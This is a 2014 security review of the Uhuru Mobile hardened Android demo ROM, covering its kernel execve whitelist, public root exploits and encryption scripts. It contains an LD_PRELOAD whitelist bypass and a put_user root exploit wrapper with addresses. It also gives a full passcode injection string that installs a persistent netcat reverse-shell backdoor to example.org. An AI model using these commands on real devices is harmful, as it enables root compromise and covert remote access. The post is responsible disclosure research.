A quick security review of the Uhuru Mobile demo ROM

Wed 19 March 2014 by kalenz

Introduction

From February 23 to February 28, we had the opportunity to look at the demo ROMof Uhuru Mobile. Uhuru Mobile is supposed to be a secure Mobile DevicesManagement solution, including its own store, an application validation processall that on top of a hardened Android with protection against unknown code,system integrity checks, etc.

Uhuru is the commercial spin-off of Davfi for Android, a publicly fundedeffort to make an antivirus, and a secure mobile platform based on Android.

In early February, Nov'IT released a demo ROM for the Nexus 4 of thehardened Android part of their secure mobile solution. That is the part that weare going to look at in this article.

According to information given to the media by people working on the project,Uhuru is based on Cyanogen Mod. As I am not very familiar with all the parts ofAndroid, this is by no mean an exhaustive audit of the platform, we surely havemissed positive and/or negative aspects.

The Uhuru image we looked at has the following sha256sum:

a7c5248790da71c0e5791f7f49aeb54e0b41aa2434bbbbf7d1503b9ec9e82063

Getting a shell

We had a spare Nexus 4 which we were not using at this time, and I had a littleresearch time ahead of me so I decided to take a look at this Android ROM whichappeared to take security seriously.

After following the instructions to install all the image files, we arein possession of a Nexus 4 phone with Uhuru Mobile. We then try to obtain ashell on the device using adb. We can not find any developer menu to authorizemy computer and no pop up to prompt me to accept the certificate.

We modify boot.img with ro.adb.secure = 0 and ro.secure = 0.Furthermore, even though adb is started thanks to persist.sys.usb.config = mtp,adb in default.prop, a process later during the boot sets persist.sys.usb.config = mtp, effectivly stopping adb:

root@android:/ # dmesg | grep mtp
<3>[    2.430001] init: setprop persist.sys.usb.config : mtp,adb
<3>[   63.327056] init: setprop persist.sys.usb.config : mtp
<3>[   63.364535] init: setprop sys.usb.config : mtp

So modifying on property:sys.usb.config:mtp in init.mako.usb.rc should do the trick. Once this is done, we now have a shell on the device. Theysay on the website that the system is protected against unknown codeexecution, so let's try to push and execute a busybox.

root@android:/data/local/tmp # ./busybox-armv6.static
/system/bin/sh: ./busybox-armv6.static: Permission denied

Binary works on other phones, permissions are OK, we should be able to executeit. We assembled a Nexus 4 UART debug cable the day before and we have aconsole with it plugged in so we see the following messages (these could alsohave been found using dmesg):

[  196.202655] [+] execve : ./busybox-armv6.static ./busybox-armv6.static
[  196.254448] [+] execve : aucune correspondance, 1f23501339631b2738c878502de08e95bb1d18a362748bbdc15c02991fc1ba36
[  196.254570] [+] execve : binaire ./busybox-armv6.static interdit

These debug messages in french seem to indicate they modified the kernel. Wecan guess they added some code to the kernel verifying some kind of hash whenrunning an executable.

Kernel

Hash

Once the image file retrieved, we fire up our disassembler and search forxref on the string "[+] execve". Following them we arrive in code apparentlydoing some checks and launching an executable. Comparing with the kernelsources, we can see we are in do_execve (0xC01271E8). Comparing with the vanillaAndroid kernel code, we can pinpoint what was added. The most interesting part:

[...]
file_content_size = read_file_content(file, 0x61A80, file->f_pos, file_content_buf, 0x61A80u);
compute_sha256_hash(file_content_buf, file_content_size, hash);
if (strncmp(hash, "a7f7a05747de09f5ac89fa89a666c407b29c7beca5348bcdd472156c9dffdced", 0x40))
{
    if (!is_hash_authorized(hash))
    {
        printk("[+] execve : binaire %s interdit\n", filename);
        kfree(file_content_buf);
        kfree(hash);
        filp_close(file);
        return 0xFFFFFFF3;
    }
    printk("[+] execve : binaire %s autorisé\n", filename);
}
[...]

What they do is the following:

  • Retrieve the first 400KB of the executable passed to execve
  • Perform a SHA256 calculation on these bytes
  • Search for a match on a list hardcoded into the kernel
  • If there is a match, continue, otherwise return failure

As you have noticed, this code only applies to execve, so here are a fewbypasses (list not exhaustive) that work:

  • Use a library defining for example __libc_init and LD_PRELOAD any authorized executable on the system
int __libc_init(void*, void*, void*)
{
    puts("Hello World!");
    exit(0);
}
shell@android:/ # LD_PRELOAD=/data/local/tmp/libhello-jni.so bash
Hello World!
  • Find an executable larger than 400KB and put you code after the limit
  • Use rild with a library that defines RIL_Init (it drops privileges though, see next part for an example)

You can find a copy of the hashes allowed by this kind of protection in /system/etc/listeBlanche.

We could not see if they added more code to the kernel just by having a glance in IDA.

Public vulnerabilities

While we are at it, let's check if the kernel is vulnerable to publicvulnerabilities. First we check the version:

root@android:/ # uname -a
Linux localhost 3.4.0-UHURU-g825e82a-dirty #4 SMP PREEMPT Thu Feb 6 15:47:18 CET 2014 armv7l GNU/Linux

We know Uhuru is based on CyanogenMod, so let's have a look at which version itis based on. After getting the CM images from their website we look at thedifferent kernel versions. Using the CM 10.1.3 image we get the followingresult:

Linux localhost 3.4.0-perf-g825e82a #1 SMP PREEMPT Mon Sep 23 17:00:27 PDT 2013 armv7l GNU/Linux

It means Uhuru is based on CM 10.1.3, which is based on Android 4.2.2.

As the kernel seems to be a bit old, let's try public local roots. According tothe kernel version, it should be vulnerable to at least put_user. To testthis, we use the Android Rooting Tools. To make them work we modify afew lines of code to make it a library, then use their helper tools to get therequired addresses:

void* RIL_Init(void*, int argc, char** argv)
{
    prepare_kernel_cred = (void*) 0xc008a7a8;
    commit_creds = (void*) 0xc008a2d0;
    ptmx_fops = (void*) 0xc0efd570;
    remap_pfn_range = (void*) 0xc01053ac;

    main(argc, argv);
}

We then push and run it on the device:

shell@android:/ $ id
uid=2000(shell) gid=2000(shell)
shell@android:/ $ rild -l /data/local/tmp/librun_root_shell.so
Device detected: Nexus 4 (UHURU Mobile 4.2.2 JDQ39E eng.root.20140206.124113)
[...]
Attempt put_user exploit...
shell@android:/ # id
uid=0(root) gid=0(root)

That is not good for a hardened Android. It basically means once you obtain userprivileges, game is over, you may become root and you can fully compromise thesystem.

Crash

On a sidenote, we got several kernel NULL deref happening in the wifi driverwhen performing seemingly unrelated tasks, such as grepping / or trying toencrypt the smartphone. It is a bit annoying as you can not encrypt the /data partition.After a mail exchange with Nov'IT, they said they encountered this behaviour onearly shipped Nexus 4, which we happen to have. This problem seems to alsohappen on Cyanogen Mod 10.1.3 so it is probably inherited from there. We did notinvestigate further.

Back to Userland

Zip Master Key

Once again, checking public vulnerabilities that work on the CyanogenMod versionUhuru is based on gives results. Using information from Saurik's very detailedpost on bug #9950697 we are able to modify an APK and install it to thesystem bypassing APK signature check.

/system Integrity Check

When poking around in the filesystems, we notice a few files that do not seemto come either from Android or Cyanogen Mod. In /etc there is a file named DavRes which is approximately 10MB. Searching for references in executables, westumble upon code with more french debug messages in /system/bin/vold, morespecifically in cryptfs, the subsystem in charge of the smartphone encryption.

Basically, they added a command, checksys, which performs checks on some /system subfolders.

More specifically, DavRes is in fact a container that is probably encrypted, andit contains two files. checksys will decipher /mnt/secure/DavRes/system.sig using /mnt/secure/DavRes/publickey1.pem and store the result. It will then perform some kind of hash on /system/app, /system/lib, /system/framework and /system/vendor using anexecutable which seems custom: /system/bin/getrephash. It then compares thetwo hashs and checks if they match.

What may be of interest is to see how DavRes is actually deciphered and mounted.

Passcode Escape Shell

Actually there are other references to DavRes in the following shell scripts:

  • /system/bin/initsafe
  • /system/bin/opensafe
  • /system/bin/pswsafe

Their names are quite explicit, they are tasked with creating, opening andchanging the password of the DavRes container. To understand how and when theyare invoked, we must have a look at the com.android.Settings.CryptKeeper* classes which are in charge of the UI and tasks launching encryption anddecryption of the phone. It is located in /system/app/Settings.apk.

In com.android.Settings.CryptKeeperConfirm, which is used for the initialciphering of the phone, we can spot the following lines that were added:

Log.e("CryptKeeper", "Initialisation du conteneur chiffré de ressources");
dataoutputstream = new DataOutputStream(Runtime.getRuntime().exec("su").getOutputStream());
dataoutputstream.flush();
dataoutputstream.writeBytes((new StringBuilder()).append("initsafe ").append(bundle.getString("password")).append("\n").toString());

So when you cipher your phone, it invokes initsafe with the passcode youentered as an argument. In initsafe:

echo $1 | cryptsetup -q luksAddKey /dev/loop0 /mnt/secure/DavRes/master.key

So we have an escape shell running as root here. But as you need to be logged inand provide the initial password to change it, it is not very interesting. Whatabout when the phone boots and ask you the passcode? The code for this islocated in com.android.Settings.CryptKeeper:

Log.e("CryptKeeper", "Ouverture du conteneur chiffré de ressources");
dataoutputstream = new DataOutputStream(Runtime.getRuntime().exec("su").getOutputStream());
dataoutputstream.flush();
dataoutputstream.writeBytes((new StringBuilder()).append("opensafe ").append(as[0]).append("\n").toString());

In opensafe:

echo $1 | cryptsetup -q luksOpen /dev/loop0 cr_DavRes

And here it is. As this code is located before the actual decryption, we also have an escape shell as root.What this means is once your phone is encrypted, anyone with physical access could reboot your phone to execute commands as root before the phone is decrypted and from there drop a rootkit.With a bit of work, the attacker could also use brute force, provided you have a weak passcode, and find a way to exfiltrate the information. The attacker may then reboot the phone and decrypt it in order to access your data.

What it also means is that the /system integrity check is to our opinion quite useless since the DavRes container is always opened and has the same password than the data partition.Moreover, it only checks a few directories located in the system partition whilethere are scripts executed as root in the data partition during the boot.

As was told in the Crash part, we were unable to encrypt our phone due to kernel panics happening during the procedure. However when looking at the original source, you can see there is a way to test this feature by launching itfrom the command line once the phone is up and running:

pm enable com.android.settings/.CryptKeeper
am start -e "com.android.settings.CryptKeeper.DEBUG_FORCE_VIEW" "password" -n com.android.settings/.CryptKeeper

It shows the following prompt:

cryptkeeper.png

We are able to successfully execute commands as root. As an example of what canbe done using this vulnerability, here are the modifications we did to be ableto remotely launch commands on the phone:

  • First we need to remount /system as read-write
  • Then create a backdoor.sh file in /system/etc. Its content could be:
(
    while true; do
        /system/xbin/busybox nc example.org 7777 | /system/xbin/bash | /system/xbin/busybox nc example.org 7778;
        system/xbin/sleep 5;
    done
) >/dev/null </dev/null 2>&1 &
disown
  • Append a line in /system/etc/kickstart_checker.sh (this script is executed at boot as an argument to sh, so its content is not checked):
/system/xbin/bash /system/etc/backdoor.sh
  • Reboot and wait for the user to log in to obtain network.

The passcode to type to obtain this result is:

;mount -o remount,rw /system;echo -e '(\nwhile true; do /system/xbin/busybox nc example.org 7777 | /system/xbin/bash | /system/xbin/busybox nc example.org 7778; /system/xbin/sleep 5; done\n) >/dev/null </dev/null 2>&1 &\ndisown' > /etc/backdoor.sh;echo '/system/xbin/bash /etc/backdoor.sh' >> /etc/kickstart_checker.sh;

Recovery Image

At one point we took a look at the recovery image. We just started it and pokearound with the options. Nothing very interesting there. So just in case wetried to get a shell with adb and... got one. root. Having a look at default.prop:

ro.secure=1
ro.debuggable=1
persist.sys.usb.config=mtp,adb

ro.secure=1 means adb drops privileges when starting, except whenro.debuggable is set to 1 and service.adb.root is also set to one using the adbroot command.

In practice you could use this to dump userdata partition and bruteforce it ifit is encrypted (a blog post by Cédric about that particular subject should beup soon), or drop a rootkit on the phone.

In a mail exchange with Uhuru developer Nov'IT, we were told it is due to thefact that it is a demo version, they were providing a way to help the audit, andthat in any case, it did not impact Uhuru's security. For reasons exposed in theprevious paragraph, we strongly disagree.

Random Thoughts

As Uhuru is based on CyanogenMod, it also includes a profusion of toolsby default and which hashes are white-listed. A few examples:

  • sshd
  • gdbserver
  • fully fledged busybox (with telnetd, tftpd, netcat, ...)
  • bash

We are not sure they are quite essential to the system... But they certainlymake it easier to stay in the phone once code execution is achieved. For exampleyou could use these tools combined with the fact that the script /data/local/userinit.sh is executed by root at each boot. The developers told us unneeded binaries would be removed in the final version.

Conclusion

As we have seen, one has to be extra careful when dealing with vendorsadvertising for hardened software. Some of the problems described above could befixed by just upgrading the CyanogenMod which they are based on to the latestversion (CM11, which is based on Android 4.4.x) while others where introducedwith the code they added to harden the system.

As you have noticed, we did not really look into non native parts of Android,as I was mostly reading code and experimenting with how everything fitstogether but if we have the time, it could be interesting to have a look as well asreverse how getrephash works, which we have not done yet.

Also for the kernel part, we could have pushed investigation further by using abinary diffing tool, but as they modified the kernel sources, they shouldrelease them in a near future to comply with the GPL. They confirmed in a mailexchange it was planned.

We have not seen much of the advertised features but that may be because we didnot look hard enough or maybe because this is a demo version, not includingeverything.

We reported our findings to Nov'IT and we hope everything will be fixed in thecommercial version. They were quite reactive to our mail inquiries and we thank them for this.

On a final note I would like to thank my coworkers for their expertise, ideas, andcorrections during this week.